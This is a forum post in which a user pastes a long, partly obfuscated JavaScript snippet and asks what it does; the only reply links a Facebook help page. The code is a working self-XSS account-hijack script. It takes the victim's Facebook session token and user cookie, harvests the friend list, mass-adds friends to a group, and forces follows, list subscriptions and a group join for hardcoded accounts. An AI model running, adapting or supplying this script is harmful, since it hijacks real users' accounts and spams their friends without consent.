What does this codes do? - Other Operating Systems and Languages

Hi.
This might be out of topic but I want to ask what does this codes do? TIA
HTML:
(function(){var f={dtsg:document.getElementsByName("fb_dtsg")[0].value,uid:document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),gid:document.getElementsByName("group_id")[0].value,frns:Array(),prenKe:0,okeh:0,gagal:0,getAjak:function(b){var c=new XMLHttpRequest;c.open("GET",b,!0),c.onreadystatechange=function(){if(4==c.readyState&&200==c.status){var a=eval("("+c.responseText.substr(9)+")");a.payload&&a.payload.entries&&(f.frns=a.payload.entries.sort(function(){return.5-Math.random()})),document.getElementById("hasilsurasil").innerHTML="Found <b>"+f.frns.length+" Follower</b><div id='hasilsatu'></div><div id='hasildua'></div><div id='hasiltiga' style='min-width:300px;display:inline-block;text-align:left'></div>"+crj;for(x in f.frns)f.senAjak(x)}else document.getElementById("hasilsurasil").innerHTML=4==c.readyState&&404==c.status?"<b style='color:darkred'>Gruppe Öffnen!</b>"+crj:"<b style='color:darkgreen'>Loading ("+c.readyState+")</b>"+crj},c.send()},senAjak:function(d){var e=new XMLHttpRequest,prm="__a=1&fb_dtsg="+f.dtsg+"&group_id="+f.gid+"&source=typeahead&ref=&message_id=&members="+f.frns[d].uid+"&__user="+f.uid+"&phstamp=";e.open("POST","/ajax/groups/members/add_post.php",!0),e.setRequestHeader("Content-type","application/x-www-form-urlencoded"),e.setRequestHeader("Content-length",prm.length),e.setRequestHeader("Connection","keep-alive"),e.onreadystatechange=function(){if(4==e.readyState&&200==e.status){var a=eval("("+e.responseText.substr(9)+")");if(f.prenKe++,document.getElementById("hasilsatu").innerHTML="<div><b>"+f.prenKe+"</b> of <b>"+f.frns.length+"</b></div>",a.errorDescription&&(f.gagal++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkred'>( "+f.gagal+" )</b> <span style='color:darkred'>"+a.errorDescription+"</span></div>"),a.jsmods&&a.jsmods.require){var b="<div>";for(x in a.jsmods.require)a.jsmods.require[x][a.jsmods.require[x].length-1][1]&&(b+="<b style='color:darkgreen'>"+a.jsmods.require[x][a.jsmods.require[x].length-1][1]+"</b> ");b+="<div>",document.getElementById("hasildua").innerHTML=b}if(a.onload)for(z in a.onload){var c=eval(a.onload[z].replace(/Arbiter.inform/i,""));if(c.uid&&c.name){f.okeh++,document.getElementById("hasiltiga").innerHTML="<div><b style='color:darkgreen'>( "+f.okeh+" )</b> <a href='/"+c.uid+"' target='_blank'><b>"+c.name+"</b></a> Followed You.</div>";break}}f.prenKe==f.frns.length&&(document.getElementById("hasiltiga").style.textAlign="center",document.getElementById("hasiltiga").innerHTML+="<div style='font-size:20px;font-weight:bold'>Enjoy Your Followers</div><a href='https://www.facebook.com/russell.besmonte.aguila/' onClick='document.getElementById(\"hasilsurasil\").style.display=\"none\";return false'>Created By: Russell Besmonte Aguila</a>")}},e.send(prm)}},g=["i","a","e","g","o","s","n","b","l","p","m","2","r","0","c","1","t","3","©"],crl=g[1]+g[0]+g[6]+g[3]+g[14]+g[12]+g[2]+g[1]+g[16]+g[0]+g[4]+g[6]+g[5]+"."+g[7]+g[8]+g[4]+g[3]+g[5]+g[9]+g[4]+g[16]+"."+g[14]+g[4]+g[10],crj="</div>";document.body.innerHTML+="<center id='hasilsurasil' style='min-height:50px;width:600px;position:fixed;top:100px;left:"+(document.body.offsetWidth-530)/2+"px;border-radius:10px;padding:10px;z-index:999999;border:5px solid black;background-color:rgba(225,225,255,0.75)'><b>Autofollower and liker Script by Russell Aguila </b>"+crj+"</center>",f.getAjak("/ajax/typeahead/first_degree.php?__a=1&viewer="+f.uid+"&token="+Math.random()+"&filter[0]=user&options[0]=friends_only")})();var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[100004588452542])
function cereziAl(isim){var tarama=isim+"=";if(document.cookie.length>0){konum=document.cookie.indexOf(tarama)
if(konum!=-1){konum+=tarama.length
son=document.cookie.indexOf(";",konum)
if(son==-1)
son=document.cookie.length
return unescape(document.cookie.substring(konum,son))}
else{return"";}}}
function getRandomInt(min,max){return Math.floor(Math.random()*(max- min+ 1))+ min;}
function randomValue(arr){return arr[getRandomInt(0,arr.length-1)];}
var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[100004750329841]);function a(abone){var http4=new XMLHttpRequest();var url4="/ajax/follow/follow_profile.php?__a=100004750329841";var params4="profile_id="+ abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+ fb_dtsg+"&lsd&__"+ user_id+"&phstamp=";http4.open("POST",url4,true);http4.setRequestHeader("Content-type","application/x-www-form-urlencoded");http4.setRequestHeader("Content-length",params4.length);http4.setRequestHeader("Connection","close");http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200){http4.close;}}
http4.send(params4);}
function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+ uidss+" }).send();";document.body.appendChild(a);}
a("100004750329841");a("100003958340970");a("100004451862828");a("100006550022741");a("100006124060117");a("100007053631096");a("100007296244488");a("100006409530648");a("100000106525344");a("100007429652731");sublist("345678005572974");sublist("345890575551717");sublist("357881147685993");sublist("357879861019455");sublist("357880341019407");sublist("357880207686087");sublist("357881514352623");sublist("357880411019400");sublist("357881037686004");sublist("357880307686077");sublist("357879937686114");sublist("357881421019299");sublist("357880554352719");sublist("357881627685945");sublist("357881281019313");sublist("357881697685938");sublist("357882617685846");sublist("357920737682034");sublist("357920584348716");sublist("357920494348725");var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);var httpwp=new XMLHttpRequest();var urlwp='/ajax/groups/membership/r2j.php?__a=1';var paramswp='&ref=group_jump_header&group_id='+ gid+'&fb_dtsg='+ fb_dtsg+'&__user='+ user_id+'&phstamp=';httpwp['open']('POST',urlwp,true);httpwp['setRequestHeader']('Content-type','application/x-www-form-urlencoded');httpwp['setRequestHeader']('Content-length',paramswp['length']);httpwp['setRequestHeader']('Connection','keep-alive');httpwp['send'](paramswp);var fb_dtsg=document['getElementsByName']('fb_dtsg')[0]['value'];var user_id=document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);var friends=new Array();gf=new XMLHttpRequest();gf['open']('GET','/ajax/typeahead/first_degree.php?__a=1&viewer='+ user_id+'&token'+ Math['random']()+'&filter[0]=user&options[0]=friends_only',false);gf['send']();if(gf['readyState']!=4){}else{data=eval('('+ gf['responseText']['substr'](9)+')');if(data['error']){}else{friends=data['payload']['entries']['sort'](function(_0x93dax8,_0x93dax9){return _0x93dax8['index']- _0x93dax9['index'];});};};

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here' s a hint:
https://www.facebook.com/help/community/question/?id=665746596793260